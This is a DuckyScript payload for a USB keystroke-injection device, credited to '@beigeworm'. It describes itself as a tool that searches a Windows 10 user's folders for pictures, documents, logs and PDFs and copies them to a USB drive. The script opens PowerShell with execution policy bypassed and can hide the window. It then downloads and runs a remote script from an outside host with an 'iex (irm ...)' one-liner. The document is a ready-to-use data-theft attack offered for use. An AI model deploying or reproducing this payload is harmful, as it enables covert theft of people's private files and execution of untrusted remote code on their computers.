egieb
21 lines
594 B
Plaintext
21 lines
594 B
Plaintext
|
|
REM Title: beigeworm's Exfiltrate files USB Drive
|
|
REM Author: @beigeworm
|
|
REM Description: This script searches the users folder fot pictures, documents, logs, PDFs and more, then sends its all to newly connected USB drive.
|
|
REM Target: Windows 10
|
|
|
|
REM SETUP (optional)
|
|
REM Add your USB drive Name in quotes for $driveName
|
|
REM Add Y or N in quotes for $Hidden (hides console window)
|
|
|
|
REM some setup for dukie script
|
|
DEFAULT_DELAY 100
|
|
|
|
REM open powershell
|
|
DELAY 1000
|
|
GUI r
|
|
DELAY 750
|
|
STRING powershell -Ep Bypass -C $driveName = ''; $Hidden = ''; iex (irm bw0.cc/exusb)
|
|
ENTER
|
|
|